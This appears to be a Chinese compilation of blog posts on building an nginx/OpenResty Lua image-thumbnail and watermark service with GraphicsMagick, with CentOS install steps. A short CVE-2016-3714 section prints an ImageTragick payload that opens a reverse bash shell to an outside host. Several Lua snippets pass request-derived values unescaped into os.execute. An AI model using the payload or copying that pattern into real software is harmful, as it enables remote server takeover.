对于想了解nginx-lua-openresty-graphicsmagick下载远程图片,本地缩图红缓存加水印的读者,本文将提供新的信息,我们将详细介绍nginx代理本地图片,并且为您提供关于Cen
对于想了解nginx-lua-openresty-graphicsmagick 下载远程图片,本地缩图红缓存加水印的读者,本文将提供新的信息,我们将详细介绍nginx代理本地图片,并且为您提供关于CentOS6 安装 GraphicsMagick、CentOS安装GraphicsMagick、CVE-2016-3714-GraphicsMagick、ImageMagick leak、FASTDFS(六)nginx+lua+GraphicsMagick 图片自动缩放的有价值信息。
本文目录一览:- nginx-lua-openresty-graphicsmagick 下载远程图片,本地缩图红缓存加水印(nginx代理本地图片)
- CentOS6 安装 GraphicsMagick
- CentOS安装GraphicsMagick
- CVE-2016-3714-GraphicsMagick、ImageMagick leak
- FASTDFS(六)nginx+lua+GraphicsMagick 图片自动缩放
nginx-lua-openresty-graphicsmagick 下载远程图片,本地缩图红缓存加水印(nginx代理本地图片)
先上全部代码吧
nginx.conf
worker_processes auto;
user hubs;
# 日志级别调试时可设为notice,生产环境请设为error
error_log /usr/local/openresty/nginx/logs/error.log notice;
events
{
use epoll;
worker_connections 51200;
multi_accept on;
}
http
{
include mime.types;
default_type application/octet-stream;
#log_format main ''$remote_addr - $remote_user [$time_local] "$request" ''
# ''$status $body_bytes_sent "$http_referer" ''
# ''"$http_user_agent" "$http_x_forwarded_for"'';
#access_log logs/access.log main;
# sendfile on;
#tcp_nopush on;
lua_package_path ''/usr/local/openresty/nginx/lua/?.lua;;'';
lua_shared_dict imgsrv_locks 10m; #Shared memory segment for locking mechanism
lua_shared_dict imgsrv_cache 50m;
server {
listen 80;
server_name wnew.tt;
#root /home/hubs/桌面/html;
root /opt/lampp/htdocs/wowo-new/public;
#/thumbnail目录下的图片请求不经过缩略图模块
# location ^~ /imgcache/ {
# }
# lua_code_cache off ;
location / {
#开启ssi支持shtml
ssi on;
ssi_silent_errors on;
ssi_types text/shtml;
index index.shtml index.php index.htm index.html;
#框架路由设置
if ( !-e $request_filename ) {
rewrite ^(.*)$ /index.php?url=$1 last;
}
}
location ~\.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
#对类似_100x100.gif/jpg/png/jpeg进行缩略图处理
location ~*(.*)\/(.*)\.(gif|jpg|png|jpeg)@([0-9]+)x([0-9]+)\.(gif|jpg|png|jpeg)$ { #匹配文件名规则
set $remote_url "https://wowoyoo.com$1/$2.$3"; #visit url
# set $src_save_root "/home/hubs/桌面/html";
set $src_save_root "/opt/lampp/htdocs/wowo-new/public";
set $src_save_file_path "$src_save_root$1/$2.$3"; #save filename
set $thumbnail_root "$src_save_root"; #缩略图存放目录
set $thumb_file "$thumbnail_root$uri"; #如果缩略图文件存在,直接返回
set $type 1 ;
#如果缩略图文件不存在,则应用缩略图模块处理
if (!-f $thumb_file) {
rewrite_by_lua_file lua/build.lua;
}
}
location ~*(.*)\/(.*)\.(gif|jpg|png|jpeg)$ { #匹配文件名规则
set $remote_url "https://wowoyoo.com$1/$2.$3"; #visit url
#set $src_save_root "/home/hubs/桌面/html";
set $src_save_root "/opt/lampp/htdocs/wowo-new/public";
set $src_save_file_path "$src_save_root$1/$2.$3"; #save filename
set $type 2 ;
#如果缩略图文件不存在,则应用缩略图模块处理
if (!-f $src_save_file_path) {
rewrite_by_lua_file lua/build.lua;
}
}
}
}
build_config.lua
-- nginx thumbnail module
-- last update : 2014/8/21
-- version : 0.4.1
module(...,package.seeall)
--[[
enabled_log: 是否打开日志
lua_log_level: 日志记录级别
gm_path: graphicsmagick安装目录
img_background_color: 填充背景色
enabled_default_img: 是否显示默认图片
default_img_uri: 默认图片链接
default_uri_reg: 缩略图正则匹配模式,可自定义
_[0-9]+x[0-9] 对应:001_100x100.jpg
_[0-9]+x[0-9]+[.jpg|.png|.gif]+ 对应:001.jpg_100x100.jpg
]]
enabled_log = false
lua_log_level = ngx.NOTICE
gm_path = ''/usr/bin/gm''
img_background_color = ''white''
enabled_default_img = true
default_img_uri = ''/default/notfound.jpg''
default_uri_reg = ''@[0-9]+x[0-9]+[.jpg|.png|.gif]+''
default_wh_reg = ''@([0-9]+)x([0-9]+)'' -- width-height
quality = 80 -- 质量
direction = ''southeast'' --位置
warter_dissolve = 50 --百分比
warter_img_uri = ''/default/water.png''
--[[
配置项,对目录、缩略图尺寸、裁剪类型进行配置,匹配后才进行缩略图处理
1.sizes={''350x350''} 填充后保证等比缩图
2.sizes={''300x300_''}等比缩放
3.sizes={''50x50^''}裁剪等比缩放 (缺点:裁剪了图片的一部分)
dir="/" 对应根目录,请放在default之前
dir="default" 对应默认图片尺寸,当原图不存在时,请求该尺寸会以默认图片生成缩略图
]]
cfg = {
{
dir = ''/'',
sizes = {''50x50^'',''100x100^'',''250x250^'',''300x300_^'',''350x350^'',''80x80^'',''120x120^''},
},
{ dir = ''default'',
sizes = {''50x50^'',''100x100^'',''250x250^'',''300x300^'',''350x350^'',''80x80^''},
}
}
build.lua
-- nginx thumbnail module
-- last update : 2014/8/21
-- version : 0.4.1
local lock = require ''resty.lock''
local c = require ''build_config''
local P = require("path")
local src_save_file_path = ngx.var.src_save_file_path -- full file path
local remote_url = ngx.var.remote_url
local ngx_img_root = ngx.var.src_save_root -- save root
local uri = ngx.var.uri
local ntype = ngx.var.type
function print_log (msg,log_level)
log_level = log_level or c.lua_log_level
if(c.enabled_log) then
ngx.log(log_level,msg)
end
end
-- must before print_log under
local fetch = require ''build_fetch''
local thumb = require ''build_thumb''
local lockid = src_save_file_path
-- get lock start
local _lock = lock:new(''imgsrv_locks'',{timeout=03})
local elapsed,err = _lock:lock(lockid)
if not elapsed then
print_log("Failed to acquire the lock : "..err)
return false;
end
print_log("---------------------------------------------------------------------------------LOCK ")
-- get lock end
local function start_thumb()
local ngx_thumbnail_root = ngx.var.thumbnail_root -- thumb root
local down = thumb.start_thumb(uri,ngx_img_root,ngx_thumbnail_root)
if not down then
local ok ,err = _lock:unlock()
if not ok then
print_log("failed start_thumb : "..err)
return false
end
end
return true
end
local function start_fetch()
local fok = fetch.start_fetch(remote_url,lockid)
if not fok then
local ok ,err = _lock:unlock()
if not ok then
print_log("failed start_fetch : "..err)
return false
end
end
return true
end
local function start_unlock()
local ok,err = _lock:unlock()
print_log("--------------------------------------------------------------------------------- @@@@@@@@@@ UN LOCK ")
if not ok then
print_log("failed to unlock: "..err)
return false
end
return fok
end
if ntype == 1 then
print_log("ntype = "..ntype)
-- exist src file
if P.exists(lockid) then
start_thumb()
start_unlock()
else
start_fetch()
start_thumb()
start_unlock()
end
else
print_log("ntype 2 = "..ntype)
if P.exists(lockid) then
start_unlock()
else
start_fetch()
start_unlock()
end
end
build_fetch.lua
-- https://phpb.com/portfolio/create-image-server-with-nginx-lua-openresty-graphicsmagick-part-ii/
-- https://github.com/openresty/lua-resty-lock#for-cache-locks
local _M = {}
local P = require("path")
local curl = require"cURL"
local lfs = require ''lfs''
local os = require ''os''
local math = require ''math''
local function mkdir(absdir)
local temp_abs_dir = absdir
local dir,base = P.split(temp_abs_dir)
local dir_exist = P.isdir(temp_abs_dir)
if dir_exist then
return true
end
local temp_dir = P.isdir(dir)
local temp_base = P.isdir(base)
if temp_dir and not temp_base then
local ok ,err= lfs.mkdir(temp_abs_dir)
if not ok then
print_log("temp_dir _ create 1: "..err)
return false
end
return ok
else
mkdir(dir)
local ok ,err = lfs.mkdir(temp_abs_dir)
if not ok then
print_log("temp_dir _ create 2: "..err)
return false
end
return ok
end
end
_M.start_fetch = function(remote_url,save_file_path)
local http_url = remote_url
local temp_file = save_file_path..".temp"
-- math.randomseed(os.time())
-- local temp_file = save_file_path.. math.random(100)
local ok = mkdir(P.dirname(save_file_path))
if not ok then
return false
end
local save_file = io.open(temp_file,"w+b")
if not save_file then
print_log("can''t open tmpe_fiel = "..temp_file)
return false
end
-- HTTP Get
curl.easy{
url = http_url,
writefunction = save_file ,
}
:perform()
:close()
save_file:close()
if P.isfile(temp_file) then
os.rename(temp_file,save_file_path)
print_log("OK YES!! --------------------------------------------------------------------------------------------- down! ->")
return true
else
print_log("down fails --------------------------------------------------------------------------------------------- ! ="..http_url)
os.remove(temp_file)
return false
end
end
return _M;
build_thumb.lua
-- nginx thumbnail module
-- last update : 2014/8/21
-- version : 0.4.1
local _M = {}
local c = require ''build_config''
--[[
uri :链接地址,如/goods/0007/541/001_328x328.jpg
ngx_img_root :图片根目录
ngx_thumbnail_root:缩略图根目录
img_width :缩略图宽度
img_width :缩略图高度
img_size :缩略图宽x高
img_crop_type :缩略图裁剪类型
cur_uri_reg_model :缩略图uri正则规则
]]
local img_width,img_height,img_size,img_crop_type = 0
local cur_uri_reg = c.default_uri_reg
-- 匹配链接对应缩略图规则
local function contains(table,uri)
local i = 1
img_crop_type = 0
for _, value in pairs(table) do
local dir = value[''dir'']
local sizes = value[''sizes'']
local uri_reg = value[''uri_reg'']
_,_,img_width,img_height = string.find(uri,''''..dir..''+.*''..c.default_wh_reg)
if(img_width and img_height and img_crop_type==0) then
img_size = img_width..''x''..img_height
for _, value in pairs(sizes) do
cur_uri_reg = uri_reg or cur_uri_reg
if (img_size == value) then
img_crop_type=1
return true
elseif (img_size..''_'' == value) then
img_crop_type=2
return true
elseif (img_size..''^'' == value) then
img_crop_type=3
return true
end
end
end
i=i+1
end
return false
end
-- 拼接gm命令
-- /usr/bin/gm convert -quality 80 /usr/local/nginx/html/test/3.jpg -resize "300x300^" -gravity center -crop 300x300+0+0 -|
-- gm composite -watermark 50 -gravity southeast /usr/local/nginx/html/default/water.png - /usr/local/nginx/html/imgcache/test.jpg
local function generate_gm_command(img_crop_type,img_original_path,img_size,img_thumbnail_path,img_warter_path)
local cmd = c.gm_path .. '' convert -quality ''.. c.quality..'' ''.. img_original_path
if (img_crop_type == 1) then
cmd = cmd .. '' -thumbnail '' .. img_size .. '' -background '' .. c.img_background_color .. '' -gravity center -extent '' .. img_size
elseif (img_crop_type == 2) then
cmd = cmd .. '' -thumbnail '' .. img_size
elseif (img_crop_type == 3) then
--cmd = cmd .. '' -resize "'' .. img_size .. ''^" -gravity center -crop ''..img_size.."+0+0"
cmd = cmd .. '' -resize "'' .. img_size .. ''" -gravity center -crop ''..img_size.."+0+0"
else
print_log(''img_crop_type error:''..img_crop_type,ngx.ERR)
return false
end
local warter_cmd = c.gm_path .. '' composite -watermark ''.. c.warter_dissolve..'' -gravity southeast ''.. img_warter_path..'' - ''..img_thumbnail_path
cmd = cmd .. '' - |'' .. warter_cmd
return cmd
end
_M.start_thumb = function(uri,ngx_img_root,ngx_thumbnail_root)
if not contains(c.cfg, uri) then
print_log(uri..'' is not match! = '',ngx.ERR)
return false
else
print_log(uri..'' is match!'')
local img_original_uri = string.gsub(uri, cur_uri_reg, '''')
local img_exist = io.open(ngx_img_root .. img_original_uri)
if not img_exist then
if not c.enabled_default_img then
print_log(img_original_uri..'' is not exist top!'',ngx.ERR)
return false
else
img_exist=io.open(ngx_img_root .. c.default_img_uri)
if img_exist then
print_log(img_original_uri .. '' is not exist! crop image with default image'')
img_original_uri = c.default_img_uri
else
print_log(img_original_uri..'' is not exist!'',ngx.ERR)
return false
end
end
end
local img_original_path = ngx_img_root .. img_original_uri
local img_thumbnail_path = ngx_thumbnail_root .. uri
local img_warter_path = ngx_img_root..c.warter_img_uri
local gm_command = generate_gm_command(img_crop_type,img_original_path,img_size,img_thumbnail_path,img_warter_path)
if (gm_command) then
print_log(''gm_command======''..gm_command)
-- _,_,img_thumbnail_dir,img__thumbnail_filename=string.find(img_thumbnail_path,''(.-)([^/]*)$'')
-- os.execute(''mkdir -p ''..img_thumbnail_dir)
os.execute(gm_command)
return true
end
-- ngx.req.set_uri(uri)
return false
end
end
return _M
完工,参考文章
https://moonbingbing.gitbooks.io/openresty-best-practices/content/lua/if_else.html
https://phpb.com/portfolio/create-image-server-with-nginx-lua-openresty-graphicsmagick-part-ii/
安装依赖
#!/bin/sh
sudo /opt/openresty/luajit/bin/luarocks install graphicsmagick --server=https://raw.github.com/torch/rocks/master
sudo /opt/openresty/luajit/bin/luarocks install Lua-cURL --server=https://rocks.moonscript.org/dev
sudo /opt/openresty/luajit/bin/luarocks install lua-resty-readurl
sudo /opt/openresty/luajit/bin/luarocks install luafilesystem
sudo /opt/openresty/luajit/bin/luarocks install lua-path
来源: http://hihubs.com/article/270
CentOS6 安装 GraphicsMagick
1. 安装相关依赖:
yum install -y gcc libpng libjpeg libpng-devel libjpeg-devel ghostscript libtiff libtiff-devel freetype freetype-devel
2. 下载并解压到目录 /usr/local/
wget ftp://ftp.graphicsmagick.org/pub/GraphicsMagick/1.3/GraphicsMagick-1.3.29.tar.gz
tar -zxvf GraphicsMagick-1.3.29.tar.gz
3. 编译并安装
cd /usr/local/GraphicsMagick-1.3.29
./configure --prefix=/usr/local/GraphicsMagick-1.3.29
make
make install
4. 设置环境变量
vi /etc/profile
在文件的后边追加
GM_HOME=/usr/local/GraphicsMagick-1.3.29
PATH=$GM_HOME/bin:$PATH
export PATH CLASSPATH GM_HOME
保存后执行,使配置生效
source /etc/profile
5. 检查是否安装成功
用命令:
convert -version
会显示:
Version: ImageMagick 6.7.2-7 2017-03-22 Q16 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2011 ImageMagick Studio LLC
Features: OpenMP
用命令
gm version
会显示:
GraphicsMagick 1.3.29 2018-04-29 Q8 http://www.GraphicsMagick.org/
Copyright (C) 2002-2018 GraphicsMagick Group.
Additional copyrights and licenses apply to this software.
See http://www.GraphicsMagick.org/www/Copyright.html for details.
Feature Support:
Native Thread Safe yes
Large Files (> 32 bit) yes
Large Memory (> 32 bit) yes
BZIP yes
DPS no
FlashPix no
FreeType yes
Ghostscript (Library) no
JBIG no
JPEG-2000 yes
JPEG yes
Little CMS no
Loadable Modules no
OpenMP yes (200805)
PNG yes
TIFF yes
TRIO no
UMEM no
WebP no
WMF no
X11 yes
XML no
ZLIB yes
Host type: x86_64-unknown-linux-gnu
Configured using the command:
./configure ''--prefix=/usr/local/GraphicsMagick-1.3.29''
Final Build Parameters:
CC = gcc -std=gnu99
CFLAGS = -fopenmp -g -O2 -Wall -pthread
CPPFLAGS = -I/usr/include/freetype2
CXX = g++
CXXFLAGS = -pthread
LDFLAGS =
LIBS = -ltiff -lfreetype -ljasper -ljpeg -lpng12 -lXext -lSM -lICE -lX11 -lbz2 -lz -lm -lgomp -lpthread
6.im4java 代码设置 CMD 路径为
/usr/local/GraphicsMagick-1.3.29/bin
CentOS安装GraphicsMagick
安装相关依赖
yum install -y gcc libpng libjpeg libpng-devel libjpeg-devel ghostscript libtiff libtiff-devel freetype freetype-devel
下载并解压
wget ftp://ftp.graphicsmagick.org/pub/GraphicsMagick/1.3/GraphicsMagick-1.3.29.tar.gz tar -zxvf GraphicsMagick-1.3.29.tar.gz
编译并安装
cd /usr/local/GraphicsMagick-1.3.29 ./configure --prefix=/usr/local/GraphicsMagick-1.3.29 make make install
设置环境变量
echo 'PATH=$PATH:$GMAGICK_HOME/bin' > /etc/profile.d/graphicsmagick.sh && source /etc/profile
检查是否安装成功
gm version
查看支持的图片列表
gm convert -list formats
CVE-2016-3714-GraphicsMagick、ImageMagick leak
GraphicsMagick、ImageMagick工具的所有版本都支持一种文件打开语法,当文件规范中的第一个字符是”|”的时候,文件名其余部分会传递给shell的popen()函数去执行,相关的代码在blob.c文件中的OpenBlob()函数中。
exploit code:
push graphic-context
viewbox 0 0 640 480
image copy 200,200 100,100
"|bash -i >& /dev/tcp/21x.x.x.x/1234 0>&1"
pop graphic-context
FASTDFS(六)nginx+lua+GraphicsMagick 图片自动缩放
1. 安装 GraphicsMagick
-- 使用 yum 安装 GraphicsMagick
Shell 代码
# yum install ImageMagick
-- 查看安装结果
Shell 代码
# yum list installed | grep ImageMagick*
ImageMagick.x86_64 6.5.4.7-7.el6_5 @base
-- 验证安装结果
Shell 代码
# convert -sample 200x200 desktop.jpg desktop-200x200.jpg
# convert -sample 200x200 desktop.png desktop-200x200.png
2. 安装 lua-nginx-module
-- 下载安装 LuaJIT
Shell 代码
# wget http://luajit.org/download/LuaJIT-2.0.4.tar.gz
# tar -zxvf LuaJIT-2.0.4.tar.gz
# cd LuaJIT-2.0.2
# make
# make install
-- 安装 lua-nginx-module
下载 ngx_devel_kit,nginx_lua_module 解压
Shell 代码
// 先导入环境变量,告诉nginx去哪里找luajit
# export LUAJIT_LIB=/usr/local/lib
# export LUAJIT_INC=/usr/local/include/luajit-2.0
// 查看ngixn版本极其编译参数
# /usr/local/nginx/sbin/nginx -V
// 添加ngx_devel_kit,lua-nginx-module模块,重新编译nginx
// 切勿make install,否则就成了覆盖安装
# ./configure --prefix=/usr/local/nginx \
--add-module=/usr/local/src/fastdfs-nginx-module/src \
--add-module=/usr/local/src/ngx_devel_kit-0.2.19 \
--add-module=/usr/local/src/lua-nginx-module-0.9.16
# make
// 备份旧的nginx程序,用新的nginx程序覆盖旧的
# cp /usr/local/nginx/sbin/nginx /usr/local/nginx/sbin/nginx.bak
# cp ./objs/nginx /usr/local/nginx/sbin/nginx
// 再次查看ngixn版本极其编译参数,确认安装成功
# /usr/local/nginx/sbin/nginx -V
/usr/local/nginx/sbin/nginx: error while loading shared libraries: libluajit-5.1.so.2: cannot open shared object file: No such file or directory
// 将libluajit-5.1.so.2安装到/usr/lib中并重新加载
# ln -s /usr/local/lib/libluajit-5.1.so.2 /usr/lib/libluajit-5.1.so.2
# ldconfig
# /usr/local/nginx/sbin/nginx -V
// 测试lua-nginx-module模块
// nginx配置文件加入如下配置:
location ~* ^/2328(/.*) {
default_type ''text/plain'';
content_by_lua ''ngx.say("hello, ttlsa lua")'';
}
# curl http://localhost/2328/
hello, ttlsa lua
-- 配置 nginx 实现简单自动生成缩略图
Txt 代码
// 修改nginx配置文件nginx.conf
location ~ ''/images/([0-9a-z]+).jpg$'' {
root /var;
}
location ~ ''/images/([0-9a-z]+)_([0-9]+)x([0-9]+).jpg$'' {
root /var;
set $image_root ''/var/images'';
set $fileName $1;
set $width $2;
set $height $3;
set $origin $image_root/$fileName.jpg;
set $file $image_root/${fileName}_${width}x$height.jpg;
if (!-f $file) {
rewrite_by_lua ''
local command = "convert -sample "..ngx.var.width.."x"..ngx.var.height.." "..ngx.var.origin.." "..ngx.var.file;
os.execute(command);
'';
}
}
// nginx重新加载配置
# /usr/local/nginx/sbin/nginx -s reload
// 在/var/images中上传desktop.jpg图片
访问
http://192.168.117.101/images/desktop_200x200.jpg
返回404
// 查看日志
# tail -f /usr/local/nginx/logs/error.log
convert: unable to open image `/var/images/desktop_100x100.jpg'': Permission denied @ blob.c/OpenBlob/2480.
// nginx: worker process 的用户是nobody,没有root权限,无法操作/var/images的文件
// 修改/var/images的权限为所有人可修改# ps -ef | grep nginx
root 10065 1 0 00:05 ? 00:00:00 nginx: master process /usr/local/nginx/sbin/nginx
nobody 12100 10065 0 11:35 ? 00:00:00 nginx: worker process
root 12108 9959 0 11:37 pts/1 00:00:00 grep nginx
访问
http://192.168.117.101/images/desktop_200x200.jpg
返回缩略图,/var/images多了对应的缩略图
-- 配置 nginx 实现简单自动生成缩略图
-- 进阶,将缩略图文件和原图分开存储
Txt 代码
location ~ ''/images/thumbnail/([0-9a-z]+)_([0-9]+)x([0-9]+).jpg$'' {
root /var;
}
location ~ ''/images/([0-9a-z]+)_([0-9]+)x([0-9]+).jpg$'' {
root /var;
set $image_root ''/var/images'';
set $fileName $1;
set $width $2;
set $height $3;
set $origin $image_root/$fileName.jpg;
set $file $image_root/thumbnail/${fileName}_${width}x$height.jpg;
set $uriNew /images/thumbnail/${fileName}_${width}x$height.jpg;
if (-f $file) {
rewrite ^ $uriNew;
break;
}
if (!-f $origin) {
return 404;
}
rewrite_by_lua ''
local width = tonumber(ngx.var.height);
local height = tonumber(ngx.var.height);
if width and height then
local command = "convert -sample "..ngx.var.width.."x"..ngx.var.height.." "..ngx.var.origin.." "..ngx.var.file;
os.execute(command);
ngx.req.set_uri(ngx.var.uriNew, true);
else
ngx.exit(ngx.HTTP_NOT_FOUND);
end
'';
}
3.nginx + lua-nginx-module + fastdfs 实现动态缩略图
/usr/local/nginx
|-conf
|-lua
|-fastdfs.lua
|-restyfastdfs.lua
|-storage.lua
|-tracker.lua
|-utils.lua
|-nginx.conf
-- 主要的配置
nginx.conf
Txt 代码
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
<span style="color: #ff0000;">lua_package_path "/usr/local/nginx/conf/lua/?.lua;;";</span>
server {
listen 80;
server_name localhost;
location ~ ''/images/thumbnail/([0-9a-z]+)_([0-9]+)x([0-9]+).jpg$'' {
root /var;
}
location ~ ''/images/([0-9a-z]+)_([0-9]+)x([0-9]+).jpg$'' {
root /var;
set $image_root ''/var/images'';
set $fileName $1;
set $width $2;
set $height $3;
set $origin $image_root/$fileName.jpg;
set $file $image_root/thumbnail/${fileName}_${width}x$height.jpg;
set $uriNew /images/thumbnail/${fileName}_${width}x$height.jpg;
if (-f $file) {
rewrite ^ $uriNew;
break;
}
if (!-f $origin) {
return 404;
}
rewrite_by_lua ''
local width = tonumber(ngx.var.height);
local height = tonumber(ngx.var.height);
if width and height then
local command = "convert -sample "..ngx.var.width.."x"..ngx.var.height.." "..ngx.var.origin.." "..ngx.var.file;
os.execute(command);
ngx.req.set_uri(ngx.var.uriNew, true);
else
ngx.exit(ngx.HTTP_NOT_FOUND);
end
'';
}
location /group1/M00 {
alias /var/images;
#set $image_root "/usr/local/openresty/nginx/proxy_tmp/images";
set $image_root "/var/images";
if ($uri ~ "/([a-zA-Z0-9]+)/([a-zA-Z0-9]+)/([a-zA-Z0-9]+)/([a-zA-Z0-9]+)/(.*)") {
set $image_dir "$image_root/$3/$4/";
set $image_name "$5";
set $file "$image_dir$image_name";
}
if (!-f $file) {
# 关闭lua代码缓存,方便调试lua脚本
#lua_code_cache off;
content_by_lua_file "conf/lua/fastdfs.lua";
}
#ngx_fastdfs_module;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}
fastdfs.lua
Txt 代码
-- 写入文件
local function writefile(filename, info)
local wfile=io.open(filename, "w") --写入文件(w覆盖)
assert(wfile) --打开时验证是否出错
wfile:write(info) --写入传入的内容
wfile:close() --调用结束后记得关闭
end
-- 检测路径是否目录
local function is_dir(sPath)
if type(sPath) ~= "string" then return false end
local response = os.execute( "cd " .. sPath )
if response == 0 then
return true
end
return false
end
-- 检测文件是否存在
local file_exists = function(name)
local f=io.open(name,"r")
if f~=nil then io.close(f) return true else return false end
end
local area = nil
local originalUri = ngx.var.uri;
local originalFile = ngx.var.file;
local index = string.find(ngx.var.uri, "([0-9]+)x([0-9]+)");
if index then
originalUri = string.sub(ngx.var.uri, 0, index-2);
area = string.sub(ngx.var.uri, index);
index = string.find(area, "([.])");
area = string.sub(area, 0, index-1);
local index = string.find(originalFile, "([0-9]+)x([0-9]+)");
originalFile = string.sub(originalFile, 0, index-2)
end
-- check original file
if not file_exists(originalFile) then
local fileid = string.sub(originalUri, 2);
-- main
local fastdfs = require(''restyfastdfs'')
local fdfs = fastdfs:new()
fdfs:set_tracker("192.168.117.100", 22122)
fdfs:set_timeout(1000)
fdfs:set_tracker_keepalive(0, 100)
fdfs:set_storage_keepalive(0, 100)
local data = fdfs:do_download(fileid)
if data then
-- check image dir
if not is_dir(ngx.var.image_dir) then
os.execute("mkdir -p " .. ngx.var.image_dir)
end
writefile(originalFile, data)
end
end
-- 创建缩略图
local image_sizes = {"80x80", "800x600", "40x40", "60x60"};
function table.contains(table, element)
for _, value in pairs(table) do
if value == element then
return true
end
end
return false
end
if table.contains(image_sizes, area) then
local command = "convert " .. originalFile .. " -thumbnail " .. area .. " -background gray -gravity center -extent " .. area .. " " .. ngx.var.file;
os.execute(command);
end;
if file_exists(ngx.var.file) then
--ngx.req.set_uri(ngx.var.uri, true);
ngx.exec(ngx.var.uri)
else
ngx.exit(404)
end
参考资料:
https://github.com/openresty/lua-nginx-module
http://www.ttlsa.com/nginx/nginx-modules-ngx_lua/
http://www.2cto.com/os/201504/387948.html
http://houxiyang.com/archives/112/
https://github.com/hpxl/nginx-lua-fastdfs-GraphicsMagick
https://github.com/azurewang/lua-resty-fastdfs
今天关于nginx-lua-openresty-graphicsmagick 下载远程图片,本地缩图红缓存加水印和nginx代理本地图片的讲解已经结束,谢谢您的阅读,如果想了解更多关于CentOS6 安装 GraphicsMagick、CentOS安装GraphicsMagick、CVE-2016-3714-GraphicsMagick、ImageMagick leak、FASTDFS(六)nginx+lua+GraphicsMagick 图片自动缩放的相关知识,请在本站搜索。
本文标签: